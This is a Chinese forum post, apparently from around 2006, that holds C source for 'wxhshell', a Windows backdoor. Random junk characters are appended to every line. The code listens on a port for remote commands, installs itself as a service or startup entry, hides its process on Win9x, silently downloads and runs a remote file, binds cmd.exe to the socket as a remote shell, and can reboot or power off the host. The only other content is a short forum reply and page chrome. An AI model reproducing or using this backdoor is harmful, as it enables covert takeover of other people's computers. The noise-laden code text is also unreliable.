  if(strstr(cmd,"http://")) { F|Pf-.r`t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); akoK4!z  
  if(DownloadFile(cmd,wsh)) +iY.YV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R.-2shOE'  
  else @lRTp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yj;KKgk  
  } :Xq qhG  
  else { {26/SY  
hCS|(8g  
    switch(cmd[0]) { kaq H.e(  
   Y[#EFM  
  // 帮助 xEb+sE6Z  
  case '?': { MOi.bHCQJP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .SzP ig  
    break; ',$Uw|N  
  } -PPH]?],  
  // 安装 t"4RGO)jh  
  case 'i': { yhxen  
    if(Install()) %5Q5xw]w3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p=sL KnLmZ  
    else +uZ,}J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]?tC+UKb  
    break; e=e^;K4  
    } O/ Yz6VQ  
  // 卸载 ^E{M[;sF3y  
  case 'r': { bk^W]<:z`  
    if(Uninstall()) LX;w~fRr.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5n{J}0C  
    else 3D|Y4OM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BWRAz*V  
    break; :Yeo*v9  
    } RvrZtg5  
  // 显示 wxhshell 所在路径 HtY0=r  
  case 'p': { )lh48Ag0t;  
    char svExeFile[MAX_PATH]; iYJ:P  
    strcpy(svExeFile,"\n\r"); <?yf<G'$  
      strcat(svExeFile,ExeFile); dp;;20z  
        send(wsh,svExeFile,strlen(svExeFile),0); IsP-[0it  
    break; HmlE Cx  
    } %c:v70*h=  
  // 重启 A8tzIh8  
  case 'b': { z B/#[~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,t?c=u\5  
    if(Boot(REBOOT)) "u^%~2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,6T F]6:  
    else { mXAGa8##j  
    closesocket(wsh); 2w"Xv,*.'i  
    ExitThread(0); |W $epOLg  
    } k%2woHSu&  
    break; l}w9c`f  
    } RgTm^?Ex  
  // 关机 o^ Z/~N  
  case 'd': { B"KDr_,,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dRC RB  
    if(Boot(SHUTDOWN)) wMc/O g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4PdJ  
    else { p=13tQS<  
    closesocket(wsh); ^<u9I5?  
    ExitThread(0); 5@c/,6l  
    } n@1;5)&k~  
    break; q-? k=RX`  
    } PH!^ww6  
  // 获取shell (S<Z@y+d  
  case 's': { j<,Ho4v}_  
    CmdShell(wsh); ly_@dsU'  
    closesocket(wsh); "^gV.  
    ExitThread(0); hv. 33l  
    break; $+'bRUo  
  } .0ov>4,R  
  // 退出 ={'*C7K)oK  
  case 'x': { s0D,n1x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [te9ui%JS  
    CloseIt(wsh); CB!5>k+mC  
    break; H|UGR ~&  
    } M8Tj;ATr  
  // 离开 Jeb"t1.$  
  case 'q': { .C HET]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I7=g8/JD  
    closesocket(wsh); u V[:e|v  
    WSACleanup(); vH[G#A~4  
    exit(1); s}1S6*Cr  
    break; [B0]%!hFw  
        } mE>v (JY  
  } >{ /As][  
  } lRO7 Ae  
%KjvV<f-a  
  // 提示信息 +O]jklS4H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WRdBL5  
} $~^Y4 } m  
  } <t~RGn3  
k 'CM^,F&  
  return; P }BU7`8  
} fC4#b?Q  
.@5Ro D[o  
// shell模块句柄 8?yRa{'"  
int CmdShell(SOCKET sock) dx.,  
{ sLHUQ(S!  
STARTUPINFO si; W~W `fm  
ZeroMemory(&si,sizeof(si)); pwIu;:O!?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sh@en\m=#S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &7 0o4~Fr  
PROCESS_INFORMATION ProcessInfo; JXhHitUD  
char cmdline[]="cmd"; V eD<1<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +KcD Y1[  
  return 0; (9!/bX<  
} ]QqT.z%B  
B8G9V6KS-  
// 自身启动模式 M "W~%   
int StartFromService(void) 2SABu796j  
{ {e/6iSpT  
typedef struct M9PzA'}4W6  
{ )8,)&F  
  DWORD ExitStatus; S7(Vc H  
  DWORD PebBaseAddress; 7^hwRZJ{  
  DWORD AffinityMask; L/+KY_b:*  
  DWORD BasePriority; .dE2,9{Z  
  ULONG UniqueProcessId; L_~vPp  
  ULONG InheritedFromUniqueProcessId; Zqp<8M2  
}   PROCESS_BASIC_INFORMATION; ZC!GKW P2  
pD@2Mt0|]=  
PROCNTQSIP NtQueryInformationProcess; _T^+BUw  
}#bX{?f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +`(,1L1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q($.s=&l;  
 "d3qUk  
  HANDLE             hProcess; /4xp?Lo:  
  PROCESS_BASIC_INFORMATION pbi; v:xfGA nP  
^_0l(ke  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cju%CE3a  
  if(NULL == hInst ) return 0; Jx-dWfe  
", Ge:\TR=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uG:xd0X+W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Y x\U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i0jR~vF {B  
QRw/d}8l  
  if (!NtQueryInformationProcess) return 0; >cdxe3I\  
\J?l7mG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]A.tauSW  
  if(!hProcess) return 0; ohW qp2~  
L2WH-XP=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %fzZpd]v=,  
D,( "3zx  
  CloseHandle(hProcess); %J b/HWC[  
bAkCk]>5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]A#K;AW{U  
if(hProcess==NULL) return 0; +jv&V%IL  
M[}aQWT$v  
HMODULE hMod; ^DaP^<V  
char procName[255]; I<}<!.Bc!  
unsigned long cbNeeded; ?E2$  
HuRq0/"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wVMR&R<t  
@TqqF:c7  
  CloseHandle(hProcess); ]hC6PKJU  
1 Vq)& N  
if(strstr(procName,"services")) return 1; // 以服务启动 pf%B  
*y@Xm~ld  
  return 0; // 注册表启动 sSdnH_;&  
} c 0/vB  
A])+Pe  
// 主模块 (;(P3h  
int StartWxhshell(LPSTR lpCmdLine) g=q1@)  
{  ]$=\zL  
  SOCKET wsl; gq`S`  
BOOL val=TRUE; kaUEv\T   
  int port=0; &40# _>W7  
  struct sockaddr_in door; y$h.k"x`  
#|ILeby  
  if(wscfg.ws_autoins) Install(); R4 x!b`:i  
!h[xeLlU  
port=atoi(lpCmdLine); NW AT"  
!$1'q~sO  
if(port<=0) port=wscfg.ws_port; ?ZS/`P0}[  
]Lz:oV^%  
  WSADATA data; 6.(L8.jv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4IUdlb  
Zk .V   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +Dwq>3AH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8gK  <xp  
  door.sin_family = AF_INET; fZ7Ap3dmP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #UYrSM@u  
  door.sin_port = htons(port); i7#PYt  
Q}qw` L1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9=FqI50{  
closesocket(wsl); qwd7vYBc,  
return 1; r}%2;!T  
} hP$v,"$  
xoQ;fVNp  
  if(listen(wsl,2) == INVALID_SOCKET) { KO''B or  
closesocket(wsl); J}M_Ka  
return 1; G-#]|)  
} 2]i>kV/,0  
  Wxhshell(wsl); :u4q.^&!e  
  WSACleanup(); a"Q>K7K  
Kx<T;iJ}  
return 0; .r4M]1Of  
5k]xi)%  
} eX0ASI9  
1v2pPUH\  
// 以NT服务方式启动 z c4l{+3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : l&g5  
{ N{<9N jmm  
DWORD   status = 0; I4RUXi 5  
  DWORD   specificError = 0xfffffff; |vVcO  
M tD{/.D>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ak=|wY{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X`' @ G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C(jUM!m  
  serviceStatus.dwWin32ExitCode     = 0; +@5@`"Jry  
  serviceStatus.dwServiceSpecificExitCode = 0; T:?01?m  
  serviceStatus.dwCheckPoint       = 0; FM=- ^l,  
  serviceStatus.dwWaitHint       = 0; Ce~ a(J|"  
0[QVU,]<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =E~)svl6g  
  if (hServiceStatusHandle==0) return; tg|7\Z7i  
S)L(~ N1  
status = GetLastError();  L4 )  
  if (status!=NO_ERROR) 1nAAs;`'  
{ 23_\UTM}1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dc;zgLLL  
    serviceStatus.dwCheckPoint       = 0; 7 8n`VmH~L  
    serviceStatus.dwWaitHint       = 0; l<"Z?z  
    serviceStatus.dwWin32ExitCode     = status; ~IIlCmMl,  
    serviceStatus.dwServiceSpecificExitCode = specificError; *s[bq;$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3^x C=++  
    return; 66jL2XU<  
  } HgfeSH  
xmp^`^v*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CgxGvM4  
  serviceStatus.dwCheckPoint       = 0; O\=c&n~`  
  serviceStatus.dwWaitHint       = 0; g*a|QBj%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cE SSSH!m  
} _a[)hu8q.  
B(/)mB  
// 处理NT服务事件,比如:启动、停止 g]a5%8*{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iF!r}fUU6  
{ x=jS=3$8  
switch(fdwControl) ^`< %Pk  
{ XaH%i~}3  
case SERVICE_CONTROL_STOP: %*Aq%,.={  
  serviceStatus.dwWin32ExitCode = 0; +GDT@,/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }p$@.+  
  serviceStatus.dwCheckPoint   = 0; |o0?u:  
  serviceStatus.dwWaitHint     = 0; ,LpGE>s  
  { P S [ifC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s?-J`k~q  
  } 25m6/Y  
  return; ,{rm<M.)  
case SERVICE_CONTROL_PAUSE: B$)&;Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B!iz=+RNC1  
  break; ) HPe}(ypt  
case SERVICE_CONTROL_CONTINUE: Y-vLEIX=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R[Y{pT,AY  
  break; L-V+`![{  
case SERVICE_CONTROL_INTERROGATE: sn=_-uoU  
  break; _A5.  
}; k6|wiSyu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =U)e_q  
} h|Os T  
8/oO}SLF  
// 标准应用程序主函数 e/* T,ZJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8"5^mj  
{ B+Ox#[<75  
C_q@ixF{  
// 获取操作系统版本 ImZ!8#  
OsIsNt=GetOsVer(); )e6)~3[^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Vl22'wl  
WY3D.z-</  
  // 从命令行安装 s+RSAyU  
  if(strpbrk(lpCmdLine,"iI")) Install(); M+lj g&fy  
f 3t&Bcw$  
  // 下载执行文件 c u:1|gt  
if(wscfg.ws_downexe) { ^;[|,:8f7L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F9\T <  
  WinExec(wscfg.ws_filenam,SW_HIDE); kEr; p{5  
} ,'0Zd(s  
!caY  
if(!OsIsNt) { )~CnDk}^R  
// 如果时win9x,隐藏进程并且设置为注册表启动 jXCSD@?]K  
HideProc(); {=)g?!zC  
StartWxhshell(lpCmdLine); :,]*~Nl  
} t=B>t S.hO  
else } 63Qh}_Y  
  if(StartFromService()) QW[ gDc  
  // 以服务方式启动 I&lb5'6D  
  StartServiceCtrlDispatcher(DispatchTable); ^w1&A 3=6  
else `of` uB  
  // 普通方式启动 i=mk#.j~  
  StartWxhshell(lpCmdLine);  WPnw  
ay-M.J  
return 0; Rz\:)<G  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八